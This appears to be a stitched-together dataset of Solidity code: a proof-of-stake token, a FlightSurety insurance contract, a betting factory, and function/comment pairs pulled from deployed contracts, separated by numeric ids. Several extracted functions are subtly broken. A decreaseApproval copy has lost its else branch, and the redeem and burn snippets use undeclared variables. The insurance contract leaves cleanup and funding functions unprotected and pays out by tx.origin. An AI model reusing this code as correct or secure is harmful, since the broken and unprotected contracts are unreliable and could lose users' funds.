uint256 _value) public whenNotPaused returns (bool) { require(_to != address(0)); if (msg.sender == _to) { return mint(); } require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); logCoinAgeRecord(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); // Coin age should not be recorded if receiver is the sender. if (_from != _to) { logCoinAgeRecord(_from, _to, _value); } return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { require(_spender != address(0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint256 _addedValue) public whenNotPaused returns (bool) { require(_spender != address(0)); allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint256 _subtractedValue) public whenNotPaused returns (bool) { require(_spender != address(0)); uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } /** * @dev Mints new TDP token and rewards to caller as per the coin age. * Deletes all previous coinage records and resets with new coin age record. */ function mint() public whenNotPaused canMint returns (bool) { if (balances[msg.sender] <= 0) { return false; } if (coinAgeRecordMap[msg.sender].length <= 0) { return false; } uint256 reward = calculateRewardInternal(msg.sender, now); // solium-disable-line if (reward <= 0) { return false; } if (reward > MAX_TOTAL_SUPPLY.sub(totalSupply_)) { reward = MAX_TOTAL_SUPPLY.sub(totalSupply_); } totalSupply_ = totalSupply_.add(reward); balances[msg.sender] = balances[msg.sender].add(reward); emit Mint(msg.sender, reward); emit Transfer(address(0), msg.sender, reward); uint64 _now = uint64(now); // solium-disable-line delete coinAgeRecordMap[msg.sender]; coinAgeRecordMap[msg.sender].push(CoinAgeRecord(balances[msg.sender], _now)); emit CoinAgeResetEvent(msg.sender, balances[msg.sender], _now); return true; } /** * @dev Returns coinage for the caller address */ function coinAge() public view returns (uint256) { return getCoinAgeInternal(msg.sender, now); // solium-disable-line } /** * @dev Returns current annual interest */ function annualInterest() public view returns(uint256) { return getAnnualInterest(now); // solium-disable-line } /** * @dev Calculates and returns proof-of-stake reward */ function calculateReward() public view returns (uint256) { return calculateRewardInternal(msg.sender, now); // solium-disable-line } /** * @dev Calculates and returns proof-of-stake reward for provided time * * @param _now timestamp The time for which the reward will be calculated */ function calculateRewardAt(uint256 _now) public view returns (uint256) { return calculateRewardInternal(msg.sender, _now); } /** * @dev Returns coinage record for the given address and index * * @param _address address The address for which coinage record will be fetched * @param _index index The index of coinage record for that address */ function coinAgeRecordForAddress(address _address, uint256 _index) public view onlyOwner returns (uint256, uint64) { if (coinAgeRecordMap[_address].length > _index) { return (coinAgeRecordMap[_address][_index].amount, coinAgeRecordMap[_address][_index].time); } else { return (0, 0); } } /** * @dev Returns coinage for the caller address * * @param _address address The address for which coinage will be calculated */ function coinAgeForAddress(address _address) public view onlyOwner returns (uint256) { return getCoinAgeInternal(_address, now); // solium-disable-line } /** * @dev Returns coinage for the caller address * * @param _address address The address for which coinage will be calculated * @param _now timestamp The time for which the coinage will be calculated */ function coinAgeForAddressAt(address _address, uint256 _now) public view onlyOwner returns (uint256) { return getCoinAgeInternal(_address, _now); } /** * @dev Calculates and returns proof-of-stake reward for provided address and time * * @param _address address The address for which reward will be calculated */ function calculateRewardForAddress(address _address) public view onlyOwner returns (uint256) { return calculateRewardInternal(_address, now); // solium-disable-line } /** * @dev Calculates and returns proof-of-stake reward for provided address and time * * @param _address address The address for which reward will be calculated * @param _now timestamp The time for which the reward will be calculated */ function calculateRewardForAddressAt(address _address, uint256 _now) public view onlyOwner returns (uint256) { return calculateRewardInternal(_address, _now); } /** * @dev Sets the stake start time */ function startStakingAt(uint256 timestamp) public onlyOwner { require(stakeStartTime <= 0 && timestamp >= chainStartTime && timestamp > now); // solium-disable-line stakeStartTime = timestamp; } /** * @dev Returns true if the given _address is a contract, false otherwise. */ function isContract(address _address) private view returns (bool) { uint256 length; /* solium-disable-next-line */ assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_address) } return (length>0); } /** * @dev Logs coinage record for sender and receiver. * Deletes sender's previous coinage records if any. * Doesn't record coinage for contracts. * * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function logCoinAgeRecord(address _from, address _to, uint256 _value) private returns (bool) { if (coinAgeRecordMap[_from].length > 0) { delete coinAgeRecordMap[_from]; } uint64 _now = uint64(now); // solium-disable-line if (balances[_from] != 0 && !isContract(_from)) { coinAgeRecordMap[_from].push(CoinAgeRecord(balances[_from], _now)); emit CoinAgeResetEvent(_from, balances[_from], _now); } if (_value != 0 && !isContract(_to)) { coinAgeRecordMap[_to].push(CoinAgeRecord(_value, _now)); emit CoinAgeRecordEvent(_to, _value, _now); } return true; } /** * @dev Calculates and returns proof-of-stake reward for provided address * * @param _address address The address for which reward will be calculated * @param _now timestamp The time for which the reward will be calculated */ function calculateRewardInternal(address _address, uint256 _now) private view returns (uint256) { uint256 _coinAge = getCoinAgeInternal(_address, _now); if (_coinAge <= 0) { return 0; } uint256 interest = getAnnualInterest(_now); return (_coinAge.mul(interest)).div(365 * 100); } /** * @dev Calculates the coin age for given address and time. * * @param _address address The address for which coinage will be calculated * @param _now timestamp The time for which the coinage will be calculated */ function getCoinAgeInternal(address _address, uint256 _now) private view returns (uint256 _coinAge) { if (coinAgeRecordMap[_address].length <= 0) { return 0; } for (uint256 i = 0; i < coinAgeRecordMap[_address].length; i++) { if (_now < uint256(coinAgeRecordMap[_address][i].time).add(stakeMinAge)) { continue; } uint256 secondsPassed = _now.sub(uint256(coinAgeRecordMap[_address][i].time)); if (secondsPassed > stakeMaxAge ) { secondsPassed = stakeMaxAge; } _coinAge = _coinAge.add((coinAgeRecordMap[_address][i].amount).mul(secondsPassed.div(1 days))); } } /** * @dev Returns the annual interest rate for given time * * @param _now timestamp The time for which the annual interest will be calculated */ function getAnnualInterest(uint256 _now) private view returns(uint256 interest) { if (stakeStartTime > 0 && _now >= stakeStartTime && totalSupply_ < MAX_TOTAL_SUPPLY) { uint256 secondsPassed = _now.sub(stakeStartTime); // 1st Year = 30% annually if (secondsPassed <= 365 days) { interest = 30; } else if (secondsPassed <= 547 days) { // 2nd Year, 1st Half = 25% annually interest = 25; } else if (secondsPassed <= 730 days) { // 2nd Year, 2nd Half = 20% annually interest = 20; } else if (secondsPassed <= 911 days) { // 3rd Year, 1st Half = 15% annually interest = 15; } else if (secondsPassed <= 1094 days) { // 3rd Year, 2nd Half = 10% annually interest = 10; } else { // 4th Year Onwards = 5% annually interest = 5; } } else { interest = 0; } } /** * @dev Batch token transfer. Used by contract creator to distribute initial tokens. * Does not record any coinage for the owner. * * @param _recipients Array of address * @param _values Array of amount */ function batchTransfer(address[] _recipients, uint256[] _values) public onlyOwner returns (bool) { require(_recipients.length > 0 && _recipients.length == _values.length); uint256 total = 0; for(uint256 i = 0; i < _values.length; i++) { total = total.add(_values[i]); } require(total <= balances[msg.sender]); uint64 _now = uint64(now); // solium-disable-line for(uint256 j = 0; j < _recipients.length; j++){ balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]); balances[msg.sender] = balances[msg.sender].sub(_values[j]); emit Transfer(msg.sender, _recipients[j], _values[j]); coinAgeRecordMap[_recipients[j]].push(CoinAgeRecord(_values[j], _now)); emit CoinAgeRecordEvent(_recipients[j], _values[j], _now); } return true; } }
Decrease the amount of tokens that an owner allowed to a spender. approve should be called when allowed[_spender] == 0. To decrement allowed value is better to use this function to avoid 2 calls (and wait until the first transaction is mined) From MonolithDAO Token.sol _spender The address which will spend the funds. _subtractedValue The amount of tokens to decrease the allowance by./
function decreaseApproval(address _spender, uint256 _subtractedValue) public whenNotPaused returns (bool) { require(_spender != address(0)); uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; }
898,947
./partial_match/42/0xB40ea11f489300d0F4DCC9890Fc70b4444F003Eb/sources/DController.sol
If the redeemer is not 'in' the market, then we can bypass the liquidity check /
function redeemAllowedInternal(address dToken, address redeemer, uint redeemTokens) internal view returns (uint) { if (!markets[dToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } if (!markets[dToken].accountMembership[redeemer]) { return uint(Error.NO_ERROR); } if (err != Error.NO_ERROR) { return uint(err); } if (shortfall > 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } return uint(Error.NO_ERROR); }
3,428,390
pragma solidity ^0.4.25; import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol"; contract FlightSuretyData { // Data persistance using SafeMath for uint256; /********************************************************************************************/ /* DATA VARIABLES */ /********************************************************************************************/ address private contractOwner; // Account used to deploy contract bool private operational = true; // Blocks all state changes throughout the contract if false struct airlinesRegistered{ bool funded; uint votes; string name; bool elected; uint256 timestamp; } address[] airlines; mapping (address => airlinesRegistered) private registeredAirlines; mapping(address => uint256) private credit; mapping(address => bool) private authorizedCaller; /********************************************************************************************/ /* EVENT DEFINITIONS */ /********************************************************************************************/ event FundsWithdrawed(address sender, uint256 value); //event insuranceBought (uint256 txId, address from, uint256 value); //debug event insuranceBought (uint256 txId, address from, uint256 value, bytes32 flightKey, address airline, string flight, uint256 timestamp, uint256 credited); event insureesCredited (address who, uint256 value, bytes32 flightKey, uint256 credited); /** * @dev Constructor * The deploying account becomes contractOwner */ constructor ( address firstAirline ) public { contractOwner = msg.sender; // address firstAirline = contractOwner; //test, remove! registeredAirlines[firstAirline] = airlinesRegistered({ funded: true, votes: 1, name: "First airline", elected: true, timestamp: 1 //block.timestamp //now }); airlines.push(firstAirline); //this.fund.value(10 ether)(firstAirline); //registerAirline(firstAirline); //flightSuretyData.registerAirline(firstAirline, firstAirlineName); } /********************************************************************************************/ /* FUNCTION MODIFIERS */ /********************************************************************************************/ // Modifiers help avoid duplication of code. They are typically used to validate something // before a function is allowed to be executed. /** * @dev Modifier that requires the "operational" boolean variable to be "true" * This is used on all state changing functions to pause the contract in * the event there is an issue that needs to be fixed */ modifier requireIsOperational() { require(operational, "Contract is currently not operational"); _; // All modifiers require an "_" which indicates where the function body will be added } modifier requireIsAuthorized(address addr) { require(authorizedCaller[addr]==true, "Contract is not authorized"); _; // All modifiers require an "_" which indicates where the function body will be added } /** * @dev Modifier that requires the "ContractOwner" account to be the function caller */ modifier requireContractOwner() { require(msg.sender == contractOwner, "Caller is not contract owner"); _; } // Define a modifier that checks if the paid amount is sufficient to cover the price modifier requireEnoughFunds(uint256 amount) { require(msg.value >= amount, "Not enough funds"); _; } modifier requireAirlineIsElected (address addr) { require (registeredAirlines[addr].elected==true, "Required by modifier to be registered by an elected/registered airline"); _; } modifier requireAirlineIsFunded (address addr) { require (registeredAirlines[addr].funded==true, "Required by modifier to be funded"); _; } // Define a modifier that checks the price and refunds the remaining balance modifier checkValue(uint256 price, address to) { _; uint256 amountToReturn = msg.value - price; if (amountToReturn >= 0) to.transfer(amountToReturn); } /********************************************************************************************/ /* UTILITY FUNCTIONS */ /********************************************************************************************/ /** * @dev Get operating status of contract * * @return A bool that is the current operating status */ function isOperational() view external returns(bool) { return operational; } function kill() external { require(msg.sender == contractOwner, "Only the owner can kill this contract"); selfdestruct(contractOwner); } /** * * @return A bool that is this is a voted/registered/elected airline */ function airlineIsRegistered(address addr) view external returns(bool) { return registeredAirlines[addr].elected; } /* * @return For testing, cleans the list */ function cleansRegistered() external { for (uint a = 2; a < airlines.length; a++ ) { delete registeredAirlines[airlines[a]]; } airlines.length = 1; } /** * * @return A bool that is this is a funded airline */ function airlineIsFunded(address addr) view external returns(bool) { return registeredAirlines[addr].funded; } /** * @dev Sets contract operations on/off * * When operational mode is disabled, all write transactions except for this one will fail */ function setOperatingStatus ( bool mode ) external requireContractOwner { operational = mode; } /********************************************************************************************/ /* SMART CONTRACT FUNCTIONS */ /********************************************************************************************/ /** * @dev Add a contract to the authorization list * */ function authorizeCaller ( address contractAddress ) external requireContractOwner returns(bool success) { authorizedCaller[contractAddress] = true; return (true); } function deauthorizeContract ( address contractAddress ) external requireContractOwner { delete authorizedCaller[contractAddress]; } /** * @dev Add an airline to the registration queue * Can only be called from FlightSuretyApp contract * */ function registerAirline ( address addr, string flight, address registeringAirline ) external requireIsAuthorized(msg.sender) returns(bool success) //, uint256 votes { require (registeredAirlines[registeringAirline].funded==true, "Required that registering airline is funded"); require (registeredAirlines[registeringAirline].elected==true, "Required that registering airline is registered"); success = false; if (registeredAirlines[addr].votes == 0) { registeredAirlines[addr].votes = 1; registeredAirlines[addr].elected = false; registeredAirlines[addr].name = flight; } else { registeredAirlines[addr].votes = registeredAirlines[addr].votes.add(1); } if (registeredAirlines[addr].elected == true) return true; // if enough voted if ((airlines.length < 2 * registeredAirlines[addr].votes) || (airlines.length < 4 )) { if (registeredAirlines[addr].funded==true) airlines.push(addr); registeredAirlines[addr].elected = true; success = true; } return (success); //, registeredAirlines[addr].votes } //Track everyone who paid the insurance struct clients { address addr; uint value;// less than 1 ether } mapping(bytes32 => clients[]) private insuree; /** * @dev Buy insurance for a flight * */ function buy ( address airline, string flight, uint256 timestamp, address from ) external payable //checkValue(insurancePrice, tx.origin) { // Transfer money to fund bytes32 flightKey = keccak256(abi.encodePacked(airline, flight, timestamp)); uint256 txId = insuree[flightKey].push(clients({addr: from, value: msg.value})); emit insuranceBought (txId, from, msg.value, flightKey, airline, flight, timestamp, credit[contractOwner]); } /** * @dev Credits payouts to insurees */ function creditInsurees ( bytes32 keyFlight ) external requireIsAuthorized(msg.sender) { clients[] storage ins = insuree[keyFlight]; for (uint i = 0; i < ins.length; i++) { credit[ins[i].addr] = credit[ins[i].addr].add(ins[i].value.mul(15).div(10)); emit insureesCredited (ins[i].addr, ins[i].value, keyFlight, credit[ins[i].addr]); } } /** * @dev Transfers eligible payout funds to insuree * */ function pay ( uint256 amount ) external requireIsOperational { address ins = tx.origin; //check require (amount <= credit[ins], "Not enough credit"); //effect credit[ins] = credit[ins].sub(amount); //interaction ins.transfer(amount); } /** * @dev Initial funding for the insurance. Unless there are too many delayed flights * resulting in insurance payouts, the contract should be self-sustaining * */ function fund (address addr, uint256 value) external payable { require (value >= 10, "Insuficient payment"); // if this is an airline, register as funded registeredAirlines[addr].funded = true; if (registeredAirlines[addr].elected==true) airlines.push(addr); } function safeWithdraw ( uint256 amount, address sender ) external requireEnoughFunds (amount) payable returns (bool) //recipient.call.gas(0).value(...) { // check //require(msg.sender == tx.origin, "Contracts not allowed to call this function"); require(credit[sender] >= msg.value, "There is no sufficient value to withdraw"); //effect credit[sender] = credit[sender].sub(msg.value); //Interaction emit FundsWithdrawed(sender, msg.value); return sender.send(msg.value); //sender.call.value(amount).gas(4712388)(); } function getFlightKey ( address airline, string memory flight, uint256 timestamp ) pure public returns(bytes32) { return keccak256(abi.encodePacked(airline, flight, timestamp)); } function getFlightData (address addr ) view external returns (uint256 timestamp) { return registeredAirlines[addr].timestamp; } function getCreditAmount (address passenger) external view requireIsOperational returns (uint256 amount) { return credit[passenger]; } /** * @dev Fallback function for funding smart contract. */ function() external payable { // this.fund(msg.sender); } }
Fallback function for funding smart contract./ this.fund(msg.sender);
function() external payable { }
6,467,275
./partial_match/1/0xBc913FBF1B3475f0a3a963b56398c00a9FeC1068/sources/ArtFungible.sol
Destroys `tokenId`. The approval is cleared when the token is burned. Requirements: - `tokenId` must exist. Emits a {Transfer} event./ Clear approvals Clear metadata (if any)
function _burn(uint256 tokenId) internal virtual { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: burn caller is not owner or approved" ); _beforeTokenTransfer(owner, address(0), tokenId); _approve(address(0), tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } if (bytes(_tokenHashs[tokenId]).length != 0) { delete _tokenHashs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); }
15,535,125
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.11; import './Bet.sol'; import "@chainlink/contracts/src/v0.8/KeeperCompatible.sol"; /// @title Bet factory contract. /// @author Fermin Carranza /// @notice Basic contract to create bets. Only ETH/USD currently supported. /// @dev Chainlink Keeper not currently working. Not production ready. contract BetFactory is KeeperCompatible { /* / Events - Publicize events to external listeners. */ event LogBetCreatedFromFactory(string symbol, int line, int spread); /// Storage variables address private owner = msg.sender; Bet[] public bets; uint public numberOfBets; mapping(uint256 => Bet) public betsMap; /// Receive Ether function. receive() external payable {} /// @notice Create a new bet for users to participate in. (Only ETH/USD currently supported) /// @param _symbol Ticker symbol of the security to bet on. /// @param _line The price at which contract settles at expiration. /// @param _spread Spread price can move from line. /// @param _maxBetSize The maximum amount a user can bet (in ETH). /// @param _multiplier The payout multiplier for winning bets. /// @param _expiration The expiration date of the bet. function createBet(string memory _symbol, int _line, int _spread, int _maxBetSize, int _multiplier, uint _expiration) public { Bet _bet = new Bet(_symbol, _line, _spread, _maxBetSize, _multiplier, _expiration); bets.push(_bet); betsMap[numberOfBets] = _bet; numberOfBets++; emit LogBetCreatedFromFactory(_symbol, _line, _spread); } /// @return Returns all outstanding bets. function getAllBets() public view returns (Bet[] memory) { return bets; } /// @notice Returns a specific bet's details. /// @param index The ID of the bet. /// @return Array containing: symbol, line, spread and expiration of bet. function getBetDetails(uint index) public view returns (string memory, int, int, uint, address) { Bet bet = betsMap[index]; return bet.getBetDetails(); } /// @notice Resolves outstanding bets if current time is greater than expiration. function resolveExistingBets() public { uint _betsLength = bets.length; for (uint8 _i = 0; _i < _betsLength; _i++) { Bet currentBet = bets[_i]; if (block.timestamp > currentBet.expiration()) { (bool success, ) = address(currentBet).call(abi.encodeWithSignature("resolveBet()")); require(success, "It failed to resolve bet."); removeFromBets(_i); numberOfBets--; _betsLength--; _i--; } } } /// @notice Resolves a bet by ID /// @dev Used to resolve a bet and bypass the Chainlink Keeper function resolveBet(uint index) public { Bet currentBet = bets[index]; removeFromBets(index); numberOfBets--; (bool success, ) = address(currentBet).call(abi.encodeWithSignature("resolveBet()")); require(success, "It failed to resolve bet."); } /// @notice Chainlink function to check if outside data should make it into the contract. /// @dev Currently not working. function checkUpkeep( bytes calldata /*checkData */ ) external override view returns (bool upkeepNeeded, bytes memory) { upkeepNeeded = bets.length > 0; } /// @notice Method to run if Chainlink determines the contract needs to perform an action. function performUpkeep(bytes calldata) external override { resolveExistingBets(); } /// @notice Removes old bet from current bets array. /// @param index The ID of the bet to remove. /// @dev Utility method to remove old bet from current bets array. function removeFromBets(uint index) internal { bets[index] = bets[bets.length - 1]; bets.pop(); } }
Chainlink function to check if outside data should make it into the contract. Currently not working.
function checkUpkeep( bytes calldata /*checkData */ ) external override view returns (bool upkeepNeeded, bytes memory) { upkeepNeeded = bets.length > 0; }
15,863,258
./full_match/432204/0xDD23b1253020B8C66DB630fc091D1cC3E984A878/sources/contracts/TradePairs.sol
increments the id counter to be used as order id or as an execution id return uint256 id/
function getNextId() private returns (uint256) { return idCounter++; }
16,381,180
./full_match/1/0x3349705FF99e44d1A42c8ea600DE7cF5bE36E034/sources/contracts/scripty/ScriptyStorage.sol
Edit the script details name - Name given to the script. Eg: threejs.min.js_r148 details - Any details the owner wishes to store about the script Emits an {ScriptDetailsUpdated} event./
function updateDetails(string calldata name, bytes calldata details) public isFrozen(name) isScriptOwner(name) { scripts[name].details = details; emit ScriptDetailsUpdated(name, details); }
17,054,994
./partial_match/1/0x90d0560171c825DE7Fd0940470686D079a79ca45/sources/contracts/lib/ERC1967Proxy.sol
return the implementation address of the proxy/
function implementation() external view returns (address impl) { return ERC1967Upgrade._getImplementation(); }
9,158,873
./full_match/421613/0x1474236fEB9E96Cf0B9f913fF5418856139caAe3/sources/contracts/Game.sol
Step 6 trigger; Game pushes deltaAllocations to vaults Trigger to push delta allocations in protocols to cross chain vaults _vaultNumber Number of vault _chain Chain id of the vault where the allocations need to be sent Sends over an array where the index is the protocolId
function pushAllocationsToVaults(uint256 _vaultNumber, uint32 _chain) external payable { address vault = getVaultAddress(_vaultNumber, _chain); require(vault != address(0), "Game: not a valid vaultnumber"); require(isXChainRebalancing[_vaultNumber][_chain], "Vault is not rebalancing"); int256[] memory deltas = protocolAllocationsToArray(_vaultNumber, _chain); emit PushProtocolAllocations(_chain, getVaultAddress(_vaultNumber, _chain), deltas); isXChainRebalancing[_vaultNumber][_chain] = false; }
11,576,174
/** *Submitted for verification at Etherscan.io on 2021-08-07 */ // File: contracts/common/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/common/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: contracts/common/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use 